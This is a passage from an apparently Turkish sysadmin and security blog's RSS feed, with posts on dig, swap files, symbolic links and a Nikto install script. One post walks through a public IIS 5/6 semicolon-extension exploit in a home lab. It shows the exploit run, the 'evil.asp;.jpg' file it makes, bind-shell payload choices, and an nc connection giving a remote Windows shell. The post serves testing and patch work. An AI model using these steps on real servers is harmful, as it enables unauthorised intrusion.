<span style="color: #ff0000;">209.85.229.101<br />
209.85.229.102<br />
209.85.229.100</span></p>
<p>[root@labs ~]# <strong><span style="color: #000000;">dig @ns2.google.com A youtube.com +noall +short +answer</span></strong><br />
<span style="color: #ff0000;">74.125.45.100<br />
74.125.67.100<br />
74.125.127.100</span></p>
<p>[root@labs ~]# <strong>dig @ns2.google.com youtube.com +noall +short +answer</strong><br />
<span style="color: #ff0000;">74.125.45.100<br />
74.125.67.100<br />
74.125.127.100</span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">Sadece 2 name server dan 6 adet IP adresi elde ettik.</span><span style="color: #000000;">Bu durumda bir kac dakika icerisinde yukaridaki IP adreslerine istinaden youtube&#8217;nin subnet araligini tespit edip yuzlerce IP adresi de elde ederiz(</span></span>Subnets: 74.125  / 209.85<span style="color: #ff0000;"><span style="color: #000000;">) daha sonra gene dig ile PTR sorgusu yapip IP adreslerine karsilik gelen alan adi isimlerini bulabiliriz.<br />
</span></span></p>
<p>[root@labs ~]# <strong><code>dig -x </code>74.125.45.100</strong><strong><code> +short +answer<br />
</code></strong></p>
<p>Umarım, dig&#8217;in gizemli ve işlevsel gücünü anlatabilmişimdir.</p>
<p>Referanslar:</p>
<p><span style="color: #000000;"><strong>İlgili döküman&#8217;ın &#8220;pdf&#8221; formatını <a href="http://ugurengin.com/Dig_Nedir_Nasil_Kullanilir_.pdf" target="_blank">buradan</a> edinebilirsiniz</strong>.</span></p>
<p><strong><a href="http://docs.google.com/View?id=dfx8xtf7_8f62v48fk" target="_blank">http://docs.google.com/View?id=dfx8xtf7_8f62v48fk</a></strong></p>
<p><strong><a id="sqjs" title="http://code.google.com/speed/public-dns/docs/security.html" href="http://code.google.com/speed/public-dns/docs/security.html">http://code.google.com/speed/public-dns/docs/security.html</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/dig-nedir-nasil-kullanilir.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Redhat/Centos&#8217;da SWAP ile Virtual Memory</title>
		<link>http://ugurengin.com/blog/redhatcentosda-swap-ile-virtual-memory.html</link>
		<comments>http://ugurengin.com/blog/redhatcentosda-swap-ile-virtual-memory.html#comments</comments>
		<pubDate>Sun, 14 Feb 2010 21:21:38 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[ASCII]]></category>
		<category><![CDATA[Special Device]]></category>
		<category><![CDATA[Swap]]></category>
		<category><![CDATA[Virtual Memory]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=475</guid>
		<description><![CDATA[Swap ,Unix/Linux sistemler de fazlasıyla gereksinim duyulan memory ihtiyacını  kendi uzerine yazip, sanal hafiza olusturmakla görevli file sistemidir. Linux altında Swap partition olusturulup file sistem olarak yapilandirilmasi icin asagidaki adimlari takip edebilirsiniz. ASCII(7 Byte'lik sayi sistemi) karekterli sayi sistemi olusturmakla bilinen " /dev/zero " adli ozel donanımı kullanip 256 MB degerinde (tekabul eden/biraz aşan) 0 [...]]]></description>
			<content:encoded><![CDATA[<p>Swap ,Unix/Linux sistemler de fazlasıyla gereksinim duyulan memory ihtiyacını  kendi uzerine yazip, sanal hafiza olusturmakla görevli file sistemidir.</p>
<p><span style="color: #003300;"><span style="text-decoration: underline;">Linux altında Swap partition olusturulup file sistem olarak yapilandirilmasi icin asagidaki adimlari takip edebilirsiniz.</span></span></p>
<p><code><span style="text-decoration: underline;">ASCII</span>(7 Byte'lik sayi sistemi) karekterli sayi sistemi olusturmakla bilinen " /dev/zero " adli ozel donanımı kullanip 256 MB degerinde (tekabul eden/biraz aşan) 0 degerlerini, üretecegimiz dosya ile convert edecegiz.</code></p>
<pre><code><span style="color: #ff0000;">dd if=/dev/zero of=/swap bs=256 count=1MB</span>
</code></pre>
<p><code>Bu parametre de bulunan "bs", girilen her integar degeri byte cinsinden hesaplayarak(KB,MB,GB seklinde olusturulan dosyanin boyutu belirtilmezse ) count'dan gelen veri ile toplayip, "dd" seceneği ile convert ediyor.<br />
</code></p>
<p>Şimdi, mkswap parametresini kullanıp  az evvel olusturduğumuz dosyayı , &#8220;Swap File Sistem&#8221; haline dönüştürdükten sonra  swapon komutu ile virtual memory  olarak ayarladığımız donanımı, çalışır durumda baslatacagız..</p>
<pre><span style="color: #ff0000;"><code>mkswap /swap</code></span></pre>
<pre><span style="color: #ff0000;"><code>swapon /swap</code></span></pre>
<p>Sırada,  mount edilen  disklerin dosya  yapılarının bulundugu  /etc/fstab&#8217;i  herhangi bir metin duzenleyicisiyle açıp en alt kısmına, oluşturduğumuz diskin file tipini belirtmek kalıyor.</p>
<p><span style="color: #008000;"><code>/swap swap swap defaults 0 0</code></span></p>
<p>Kontrol edelim.</p>
<pre>[root@localroot ~]# cat /etc/fstab |  more</pre>
<p><span style="color: #008000;"> /swap swap swap defaults 0 0</span></p>
<p>Yaptığımız uygulamayı test etmek icin swapon -s veya cat /proc/swaps  komutları ile  gerekli kontrolleri yapabilir veya top komutu ile  yapılandıgımız virtual memory (Swap) kullanımı kontrol edebiliriz.</p>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/redhatcentosda-swap-ile-virtual-memory.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux&#8217;da Symbolic Link Uygulaması</title>
		<link>http://ugurengin.com/blog/linuxda-symbolic-link-uygulamasi.html</link>
		<comments>http://ugurengin.com/blog/linuxda-symbolic-link-uygulamasi.html#comments</comments>
		<pubDate>Sun, 24 Jan 2010 00:53:33 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Hard Link]]></category>
		<category><![CDATA[rc6.d]]></category>
		<category><![CDATA[SYLK]]></category>
		<category><![CDATA[symbolic link]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=462</guid>
		<description><![CDATA[Devamli kullanilan servislere tek komut altinda ve sabit dizinde yonetebilmek icin Symbolic Link (Simgesel Bağ) uygulamasına itiyac duyarız.Linux sistemlerin de  belirttigimiz metodu &#8220;ln -s&#8221;  parametresi ile  yapabiliyoruz, asagida Apache ve MySQL icin birer bag link olusturup dosyamizi sabit yerde muhafaza edip tek komut ile sabit dizin uzerinde cesitli islemler yapabiliyor olacagiz. root@localroot:~# ln -s /etc/init.d/apache2 [...]]]></description>
			<content:encoded><![CDATA[<p>Devamli kullanilan servislere tek komut altinda ve sabit dizinde yonetebilmek icin Symbolic Link (Simgesel Bağ) uygulamasına itiyac duyarız.Linux sistemlerin de  belirttigimiz metodu &#8220;ln -s&#8221;  parametresi ile  yapabiliyoruz, asagida Apache ve MySQL icin birer bag link olusturup dosyamizi sabit yerde muhafaza edip tek komut ile sabit dizin uzerinde cesitli islemler yapabiliyor olacagiz.</p>
<pre>root@localroot:~# <span style="color: #ff0000;">ln -s </span>/etc/init.d/apache2 <span style="color: #ff0000;">./httpd</span></pre>
<pre><span style="color: #ff0000;">root@localroot:~# ./httpd restart</span></pre>
<pre>
* Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName</pre>
<pre>root@localroot:~#<span style="color: #ff0000;"> ln -s</span> /etc/init.d/mysql <span style="color: #ff0000;">./mysql</span></pre>
<pre><span style="color: #ff0000;">root@localroot:~# ./mysql</span></pre>
<p>Usage: /root/mysql start|stop|restart|reload|force-reload|status</p>
<p>Kısmen symbolic link uygulamalarını gorecegimiz  /etc/rc6.d adli dizin de servislerin yapisina bakalım.</p>
<pre>root@localroot:<span style="color: #ff0000;">/etc/rc6.d</span># ls -l
total 4
lrwxrwxrwx 1 root root  17 2010-01-24 00:58<span style="color: #008000;"> K09apache2 -&gt; ../init.d/apache2</span>
-rwxr-xr-x 1 root root  5609 2009-10-07 17:35 mysql
lrwxrwxrwx 1 root root    17 2010-01-24 01:32 <span style="color: #008000;">mysqld -&gt; /etc/init.d/mysql</span></pre>
<p>Apache ve MySQL servisini root altinda simgesel bag olarak set ettigimiz icin; dolayisiyla  bu dizin altinda tek link islevi gorup calisacaklardir.Asagida ;  farkli bir directory de,  sembolize edilmis mysql servisi baslatilirken alinan uyariyi gorebilirsiniz.</p>
<pre>root@localroot:/etc# ./mysql
<span style="color: #ff0000;">bash: ./mysql: is a directory</span></pre>
<p><span style="color: #000000;">ln parametresi ile ilgili detayli bilgiler , &#8221; ln &#8211;help &#8221; komutu ile de incelenebilir.</span></p>
<h2><span style="color: #008000;"><a href="http://en.wikipedia.org/wiki/Symbolic_link" target="_blank"><strong>Symbolic Link File System History:</strong></a><br />
</span></h2>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/linuxda-symbolic-link-uygulamasi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS ASP Multiple Extensions Remote 0DAY Exploit</title>
		<link>http://ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html</link>
		<comments>http://ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html#comments</comments>
		<pubDate>Sun, 10 Jan 2010 14:32:38 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Others]]></category>
		<category><![CDATA[IIS 0DAY]]></category>
		<category><![CDATA[IIS6 Vulnerable]]></category>
		<category><![CDATA[Oday]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=427</guid>
		<description><![CDATA[Microsoft&#8217;un IIS5,6  sunucularını manupule eden bir exploit yayınlanmıstı.30.12.2009 tarihin de&#8217;de ilgili zaafiyatı kullanarak server&#8217;a direk mudahale icin 3  payload connection&#8217;i tek exploit de barindiran python  bir exploit daha yayınlandı. Konuyu ele almamın sebebi asagidaki exploit araciligiyla olusturacak resim dosyasini (06;.jpg) IIS web serveriniz da  calistiran kişi, windows serveriniz da Outgoing den 31337. portun acilmasina sebebiyet [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft&#8217;un IIS5,6  sunucularını manupule eden bir exploit yayınlanmıstı.30.12.2009 tarihin de&#8217;de ilgili zaafiyatı kullanarak server&#8217;a direk mudahale icin 3  payload connection&#8217;i tek exploit de barindiran python  bir exploit daha yayınlandı. Konuyu ele almamın sebebi asagidaki exploit araciligiyla olusturacak resim dosyasini (06;.jpg) IIS web serveriniz da  calistiran kişi, windows serveriniz da Outgoing den 31337. portun acilmasina sebebiyet veriyor.Daha sonra ise asagida belirttigim 3 payload&#8217;dan herhangi biri araciligiyla  sunucu&#8217;dan shell alıyor.(Backconnect) Exploit ile olusan  image dosyasi&#8217;nin icerigini notepad ile acip bakabilirsiniz.</p>
<p>Patch cozumu gelistirmek icin ilgili exploiti<strong> kendi</strong> <strong>Virtual Windows Server</strong>&#8216;imda test ettim.</p>
<p><span style="color: #008000;">Shellcode / Payload Connection</span></p>
<p><span style="color: #ff0000;"><strong>0 &#8211; shell_bind_tcp</strong></span></p>
<p><span style="color: #ff0000;"> 1 &#8211; meterpreter_bind_tcp</span></p>
<p><span style="color: #ff0000;"> 2 &#8211; vncinject_bind_tcp</span></p>
<h3>Penetration materyaller:</h3>
<p>OS : Server 2003 Enterprise x86 SP2<br />
Victim Vlan: 192.168.127.130<br />
Web Server : IIS6<br />
Destination: Ubuntu 9.10 (karmic)<br />
Exploit:<a href="http://www.exploit-db.com/exploits/10791" target="_blank"><strong><span style="color: #008000;"> <span style="color: #000000;">http://www.exploit-db.com/exploits/10</span></span><span style="color: #000000;">791</span></strong></a></p>
<p>Testleri yapalım:</p>
<p><span style="color: #ff0000;">root@ubuntu:~/labs# python iis.py def.jpg 0<br />
Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x<br />
By Emanuele Gentili and Emanuele Acri (http://backtrack.it)<br />
[+] File<strong> evil.asp;.jp</strong>g created and ready to use.<br />
Enjoy&#8230; ;)</span></p>
<p><span style="color: #ff0000;">root@ubuntu:~/labs# ls -l<br />
total 1260<br />
-rw-r&#8211;r&#8211; 1 root root  12902 2009-10-31 01:08 def.jpg<br />
<strong>-rw-r&#8211;r&#8211; 1 root root 326377 2010-01-10 14:08 evil.asp;.jpg</strong><br />
-rwxrwxrwx 1 root root 945931 2010-01-10 14:03 iis.py</span></p>
<p style="text-align: left;">evil.asp;.jpg vulnerable durumda olan IIS sunucular da calistirildigin da :</p>
<p><a href="http://ugurengin.com/blog/img/iiszort2.JPG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszort2.JPG" alt="" width="622" height="291" /></a></p>
<p><span style="color: #008000;">root@ubuntu:~/labs# <strong>nc -vv 192.168.127.130 31337</strong><br />
192.168.127.130: inverse host lookup failed: Unknown hosit<br />
(UNKNOWN) [192.168.127.130] 31337 (?) <strong>open</strong><br />
<span style="color: #008000;">Microsoft Windows [Version 5.2.3790]<br />
(C) Copyright 1985-2003 Microsoft Corp.</span></span></p>
<p><span style="color: #ff0000;"><span style="color: #008000;">c:\windows\system32\inetsrv&gt;ipconfig</span><br />
</span></p>
<p><span style="color: #008000;">Windows IP ConfigurationEthernet adapter Local Area Connection:<br />
Connection-specific DNS Suffix  . : localdomain<br />
IP Address. . . . . . . . . . . . : 192.168.127.130<br />
Subnet Mask . . . . . . . . . . . : 255.255.255.0<br />
Default Gateway . . . . . . . . . : 192.168.127.2</span></p>
<p><span style="color: #008000;">c:\windows\system32\inetsrv&gt;net user<br />
User accounts for \\LOCALROOT</span></p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/iiszort3.PNG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszort3.PNG" alt="" width="623" height="262" /></a></p>
<p>Network tarafinda olayları gozlemlemek icin,  infekte durumun da olup hacklenen serveri kontrol edelim.</p>
<p style="text-align: left;"><a href="http://ugurengin.com/blog/img/iiszoort.JPG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszoort.JPG" alt="" width="594" height="69" /></a><br />
Estaibleshed statusu, bize  baglanti saglanan IP adresi ile portu gosteriyor.</p>
<h3 style="text-align: left;"><span style="color: #ff0000;"><strong>Nmap</strong> ile bakalım : </span></h3>
<p style="text-align: left;"><span style="color: #ff0000;">root@ubuntu:~/labs# nmap -sT -d 192.168.127.130 -p 31337</span></p>
<p style="text-align: left;"><span style="color: #ff0000;"><strong><span style="color: #008000;">31337/tcp open  Elite        syn-ack</span></strong><br />
MAC Address: 00:0C:29:71:6D:2B (VMware</span></p>
<p>HOW DOES THIS VULNERABLE PATCH ? : )<br />
You should be speak with Microsoft Corporation.</p>
<p>Referanslar:</p>
<p><a href="http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf" target="_blank">http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf</a></p>
<p><a href="http://secunia.com/advisories/37831/" target="_blank">http://secunia.com/advisories/37831/</a></p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikto2  with LibWhisker Fast Installation Code</title>
		<link>http://ugurengin.com/blog/nikto2-with-libwhisker-fast-installation-code.html</link>
		<comments>http://ugurengin.com/blog/nikto2-with-libwhisker-fast-installation-code.html#comments</comments>
		<pubDate>Fri, 25 Dec 2009 08:01:58 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[LibWhisker]]></category>
		<category><![CDATA[Nikto2]]></category>
		<category><![CDATA[Web Scanner]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=413</guid>
		<description><![CDATA[Nikto2  ve  LibWhisker kutuphanesini, asagida yazdigim ufak bash scripti ile  hizlica kurabilirsiniz. Shell de ilgili scripti .sh formatinda kaydettikten sonra permission degerini 755 olarak set edip Nikto web security scanner  uygulamanizi hızlıca kurup kullanabilirsiniz. Not: Scriptin orjinal/duzgun halini buradan gorebilirsiniz. Centos 5.4 x86-64  isletim sistemlerinde test edilmistir. #/bin/bash #GNU&#124;Nikto2 WAS (Web Application Scanner) Fast Installation [...]]]></description>
			<content:encoded><![CDATA[<p>Nikto2  ve  LibWhisker kutuphanesini, asagida yazdigim ufak bash scripti ile  hizlica kurabilirsiniz. Shell de ilgili scripti .sh formatinda kaydettikten sonra permission degerini 755 olarak set edip Nikto web security scanner  uygulamanizi hızlıca kurup kullanabilirsiniz.</p>
<p>Not: Scriptin orjinal/duzgun halini<strong> <a title="Nikto2 Web Security Scanner Fast Installation Code" href="http://sploit.ugurengin.com/nikto.txt" target="_blank">buradan</a></strong> gorebilirsiniz.<br />
Centos 5.4 x86-64  isletim sistemlerinde test edilmistir.</p>
<address> </address>
<address><span style="color: #008000;">#/bin/bash</span></address>
<address><span style="color: #008000;">#GNU|Nikto2 WAS (Web Application Scanner) Fast Installation</span></address>
<address><span style="color: #008000;"># Coded Ugur Engin</span></address>
<address><span style="color: #008000;">#http://ugurengin.com<br />
</span></address>
<address><span style="color: #008000;"> function start() {</span></address>
<address><span style="color: #008000;">read -p &#8220;Are you ready?&#8221;</span></address>
<address><span style="color: #008000;">}</span></address>
<address><span style="color: #008000;">start</span></address>
<address><span style="color: #008000;"> sleep 1<br />
</span></address>
<address><span style="color: #008000;">if [ $UID = 0 ]; then</span></address>
<address><span style="color: #008000;">wget http://cirt.net/nikto/nikto-current.tar.gz;</span></address>
<address><span style="color: #008000;">tar -xf nikto-current.tar.gz;</span></address>
<address><span style="color: #008000;">mv nikto-2.1.0 nikto;</span></address>
<address><span style="color: #008000;">rm -rf nikto-current.tar.gz;</span></address>
<address><span style="color: #008000;">cd nikto;</span></address>
<address><span style="color: #008000;">wget http://www.wiretrip.net/rfp/libwhisker/libwhisker2-current.tar.gz;</span></address>
<address><span style="color: #008000;">tar -xf libwhisker2-current.tar.gz;</span></address>
<address><span style="color: #008000;">rm -rf libwhisker2-current.tar.gz;</span></address>
<address><span style="color: #008000;">cd libwhisker2-2.4;</span></address>
<address><span style="color: #008000;">perl Makefile.pl lib &gt; log.txt</span></address>
<address><span style="color: #008000;">cp LW2.pm ../</span></address>
<address><span style="color: #008000;">cd ..</span></address>
<address><span style="color: #008000;">perl nikto.pl -update &gt; log.txt</span></address>
<address><span style="color: #008000;">echo &#8220;Installation completed&#8230;&#8221;;</span></address>
<address><span style="color: #008000;">exit 0;</span></address>
<address><span style="color: #008000;">else</span></address>
<address><span style="color: #008000;">echo &#8220;Please, receive Root Acces!&#8221; </span></address>
<address><span style="color: #008000;">su -c $0</span></address>
<address><span style="color: #008000;"> exit -1</span></address>
<address><span style="color: #008000;">fi</span></address>
<address> </address>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/nikto2-with-libwhisker-fast-installation-code.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
